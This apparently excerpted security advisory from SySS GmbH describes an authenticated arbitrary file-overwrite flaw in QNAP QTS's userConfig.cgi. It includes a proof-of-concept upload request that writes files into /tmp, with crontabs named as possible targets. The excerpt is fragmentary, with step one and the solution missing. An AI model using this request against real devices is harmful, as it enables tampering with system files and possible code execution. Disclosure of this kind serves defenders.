~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

The SySS GmbH found an vulnerability in the user configuration interface
of the QTS management webapplication, allowing an authenticated user to
overwrite arbitrary files in /tmp and its subdirectories.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

2. Run a request like the following:

==
POST /cgi-bin/userConfig.cgi?imbgName=[newNameToOverwrite]&func=uploadBgImg&sid=[sid] HTTP/1.1
Host: [IP of the QNAP]:8080
Content-Type: multipart/form-data;boundary=foo
Content-Length: 115

foo
Content-Disposition: form-data; name="filename"; filename="foo.txt"
Content-Type: non-image-jpeg

asdf
foo--

==
3. The uploaded file will be written to /tmp/[newNameToOverwrite] allowing overwriting e.g. crontabs, PID-files and similar files.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:
